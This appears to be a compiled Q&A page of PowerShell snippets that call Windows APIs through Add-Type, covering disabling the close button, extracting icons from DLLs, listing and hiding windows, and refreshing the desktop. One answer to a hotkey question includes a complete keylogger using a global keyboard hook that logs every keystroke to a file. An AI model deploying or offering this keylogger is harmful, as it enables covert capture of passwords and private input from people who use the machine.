I need to disable the Close button (the little X) for a script I wrote that has exit functionality that needs to be run (triggered via CTRL-C) and I want to remove the ability for users to bypass that by X'ing out of the window.
Function _Disable-X {
#Calling user32.dll methods for Windows and Menus
$MethodsCall = '
[DllImport("user32.dll")] public static extern long GetSystemMenu(IntPtr hWnd, bool bRevert);
[DllImport("user32.dll")] public static extern bool EnableMenuItem(long hMenuItem, long wIDEnableItem, long wEnable);
[DllImport("user32.dll")] public static extern long SetWindowLongPtr(long hWnd, long nIndex, long dwNewLong);
[DllImport("user32.dll")] public static extern bool EnableWindow(long hWnd, int bEnable);
'
$SC_CLOSE = 0xF060
$MF_DISABLED = 0x00000002L
#Create a new namespace for the Methods to be able to call them
Add-Type -MemberDefinition $MethodsCall -name NativeMethods -namespace Win32
$PSWindow = Get-Process -Pid $PID
$hwnd = $PSWindow.MainWindowHandle
#Get System menu of windows handled
$hMenu = [Win32.NativeMethods]::GetSystemMenu($hwnd, 0)
#Disable X Button
[Win32.NativeMethods]::EnableMenuItem($hMenu, $SC_CLOSE, $MF_DISABLED) | Out-Null
}
_Disable-X
Credit: https://www.makak.ch/disable-close-button-in-powershell-window/
Related
I'm in the process of building a little utility using powershell and have spent a good deal of time teaching myself about building windows forms and controls using powershell. In order to keep my deployment to a small footprint I have packaged all of my graphics icons (.ico) and images (.bmp) in a dynamically linked library (*.dll) using a third party utilty (greenfish icon editor pro, which I highly recommend).
The problem that I have now is that I can't load the assembly because the resulting *.dll is missing a manifest. I've searched all over but was unable to find any concise answer on how to access the resource without using the add-type cmdlet to load the *.dll.
I was able to find a way to load icons from a dll in an answer to this post from Kazun. Then utilizing technet I was able to find a corresponding entry point in the dll for a method to extract a bitmap. See my kludged together script below which combines both the IconExtractor and my newly created BitmapExtractor classes.
$code = #"
using System;
using System.Drawing;
using System.Runtime.InteropServices;
namespace System {
public class IconExtractor { #Credit to Kazun from https://social.technet.microsoft.com/Forums/windows/en-US/16444c7a-ad61-44a7-8c6f-b8d619381a27/using-icons-in-powershell-scripts?forum=winserverpowershell
public static Icon Extract(string file, int number, bool largeIcon) {
IntPtr large;
IntPtr small;
ExtractIconEx(file, number, out large, out small, 1);
try {
return Icon.FromHandle(largeIcon ? large : small);
} catch {
return null;
}
}
[DllImport("Shell32.dll", EntryPoint = "ExtractIconExW", CharSet = CharSet.Unicode, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
private static extern int ExtractIconEx(string sFile, int iIndex, out IntPtr piLargeVersion, out IntPtr piSmallVersion, int amountIcons);
}
public class BitmapExtractor { #Credit to Chad Estes (chadwestes#gmail.com)
public static Bitmap Extract(string file, string resourceID) {
IntPtr hModule = LoadLibraryEx(file,IntPtr.Zero,0x00000020);
Bitmap bmp = null;
IntPtr hBitmap = IntPtr.Zero;
try {
if (hModule != IntPtr.Zero) {
hBitmap = LoadBitmap(hModule, resourceID);
if (hBitmap != IntPtr.Zero) {
bmp = Bitmap.FromHbitmap(hBitmap);
}
}
} catch {
bmp = null;
} finally {
DeleteObject(hBitmap);
FreeLibrary(hModule);
}
return bmp;
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr LoadLibraryEx(string lpFileName, IntPtr hReservedNull, uint dwFlags);
[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool FreeLibrary(IntPtr hModule);
[DllImport("user32.dll")]
static extern IntPtr LoadBitmap(IntPtr hInstance, string lpBitmapName);
[DllImport("gdi32.dll", EntryPoint="DeleteObject", CharSet = CharSet.Unicode, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
private static extern bool DeleteObject(IntPtr hBitmap);
}
}
"#
Add-Type -TypeDefinition $code -ReferencedAssemblies System.Drawing
$myImage = [System.BitmapExtractor]::Extract("C:\SomePath\Some.dll", "LOGO")
$myIcon = [System.IconExtractor]::Extract("C:\SomePath\Some.dll", 1, $true)
I was thinking of a scenario to detect a key combination [preferably window key + a] using the built in scripting languages like vb script, powershell script, batch script etc.. is there any way to do this ?
I personally love AutoHotKey you create a script and it will detect any key combination. It is fast and easy to use and I have dozens of key combinations that I have scripted and use every day.
If you must use a built-in scripting language, then the easiest is to create the desired script in whatever language that you prefer (for ex. PowerShell). Then create a shortcut that will run your script (for ex. something like powershell.exe -file "c:\myScript.ps1").
Then after testing your shortcut and script, go to the Shortcut's properties, and there is a "Shortcut key" field that you can bind a key combination to.
Using built in languages is a bit more cumbersome, and you have to have a separate script and shortcut for each key combination. Compared to AutoHotKey which you can combine all your key combinations into one file.
To do this via powershell or other built-in tools seems to be quite ambitious.
What you're going to need to learn about are "System Hooks" which are used in the Windows operating system to keep track of things that are going on outside the running program or script.
I found this link on the subject, it's something I'm still trying to learn myself so I can't promise it's a good explanation:
http://www.codeproject.com/Articles/6362/Global-System-Hooks-in-NET
Here is an example of a powershell script to operate a keylogger, it records all keystrokes and sends them to a log file:
http://hinchley.net/2013/11/02/creating-a-key-logger-via-a-global-system-hook-using-powershell/
Add-Type -TypeDefinition #"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const string logFileName = "log.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main() {
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}
private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
"# -ReferencedAssemblies System.Windows.Forms
[KeyLogger.Program]::Main();
Hopefully this points you in the right direction and you're able to get something working out of this!
I want to list all windows of a process, say Word. This only gives me main window:
Get-Process winword |where {$_.mainWindowTItle} |format-table id,name,mainwindowtitle –AutoSize
I want to also list Document1 here.
Id Name MainWindowTitle
1616 WINWORD Document2 - Microsoft Word
is there any way to access windows other than main one?
Thanks to Bacon Bits suggestion I managed to find a solution, but if you have any less cumbersome than this, please share:
<#
.Synopsis
Enumerieren der vorhandenen Fenster
#>
$TypeDef = #"
using System;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace Api
{
public class WinStruct
{
public string WinTitle {get; set; }
public int WinHwnd { get; set; }
}
public class ApiDef
{
private delegate bool CallBackPtr(int hwnd, int lParam);
private static CallBackPtr callBackPtr = Callback;
private static List<WinStruct> _WinStructList = new List<WinStruct>();
[DllImport("User32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool EnumWindows(CallBackPtr lpEnumFunc, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
private static bool Callback(int hWnd, int lparam)
{
StringBuilder sb = new StringBuilder(256);
int res = GetWindowText((IntPtr)hWnd, sb, 256);
_WinStructList.Add(new WinStruct { WinHwnd = hWnd, WinTitle = sb.ToString() });
return true;
}
public static List<WinStruct> GetWindows()
{
_WinStructList = new List<WinStruct>();
EnumWindows(callBackPtr, IntPtr.Zero);
return _WinStructList;
}
}
}
"#
Add-Type -TypeDefinition $TypeDef -Language CSharpVersion3
[Api.Apidef]::GetWindows() | Where-Object { $_.WinTitle -like "*Word" } | Sort-Object -Property WinTitle | Select-Object WinTitle,#{Name="Handle"; Expression={"{0:X0}" -f $_.WinHwnd}}
I want to use the windows Powershell scripts to hide the Windows 7 taskbar or start button.
In Delphi it would be working like this for example:"ShowWindow(FindWindow('windowhandle'), SW_HIDE);". Is something like this possible in PowerShell? I already found modules for that but would there be a way to do it directly? Thanks in Advance
I don't know if you count this 'directly', but you can call WinApi from PowerShell.
$definition = #"
[DllImport("user32.dll")]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
public static void Show(string wClass, string wName)
{
IntPtr hwnd = FindWindow(wClass, wName);
if ((int)hwnd > 0)
ShowWindow(hwnd, 1);
}
public static void Hide(string wClass, string wName)
{
IntPtr hwnd = FindWindow(wClass, wName);
if ((int)hwnd > 0)
ShowWindow(hwnd, 0);
}
"#
add-type -MemberDefinition $definition -Namespace my -Name WinApi
[my.WinApi]::Hide('Notepad', 'Untitled - Notepad')
I couldn't get it to work with Windows start button (it just disables), but it works with normal windows.
I have created a powershell script that listens for files to be created on the desktop. The file is immediately deleted if it meets certain criteria. I used Remove-Item $path where $path is the path to the file I want to delete. The problem is that windows still adds, and continues to show the item on the desktop. The file is definitely not there, since attempting to manipulate it will result in a 'Could not find this item', or 'File does not exist' error. Manually refreshing the desktop via 'Right Click => Refresh' will cause the item to be removed.
Is there a way to force the desktop to refresh after deleting an item on it? Otherwise, is there an alternate method to delete the file to prevent it being added in the first place?
For anyone still looking for an answer I'll repost my answer to this question here as well, as the links to PowerShel.com seem not to work anymore:
I used the following to call a refresh on the desktop from powershell by using C# code:
$code = #'
[System.Runtime.InteropServices.DllImport("Shell32.dll")]
private static extern int SHChangeNotify(int eventId, int flags, IntPtr item1, IntPtr item2);
public static void Refresh() {
SHChangeNotify(0x8000000, 0x1000, IntPtr.Zero, IntPtr.Zero);
}
'#
Add-Type -MemberDefinition $code -Namespace WinAPI -Name Explorer
[WinAPI.Explorer]::Refresh()
Hope this helps anyone still looking for an answer.
p.s. this is where I got the idea from IDERA - Refreshing Icon Cache
ou can use the SHChangeNotify from Shell32.dll
You've got a function in former PowerShell.com, no longer available
function Refresh-Explorer {
$code = #'
private static readonly IntPtr HWND_BROADCAST = new IntPtr(0xffff);
private const int WM_SETTINGCHANGE = 0x1a;
private const int SMTO_ABORTIFHUNG = 0x0002;
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
static extern bool SendNotifyMessage(IntPtr hWnd, uint Msg, UIntPtr wParam,
IntPtr lParam);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SendMessageTimeout ( IntPtr hWnd, int Msg, IntPtr wParam, string lParam, uint fuFlags, uint uTimeout, IntPtr lpdwResult );
[System.Runtime.InteropServices.DllImport("Shell32.dll")]
private static extern int SHChangeNotify(int eventId, int flags, IntPtr item1, IntPtr item2);
public static void Refresh() {
SHChangeNotify(0x8000000, 0x1000, IntPtr.Zero, IntPtr.Zero);
SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, IntPtr.Zero, null, SMTO_ABORTIFHUNG, 100, IntPtr.Zero);
}
'#
Add-Type -MemberDefinition $code -Namespace MyWinAPI -Name Explorer
[MyWinAPI.Explorer]::Refresh()
}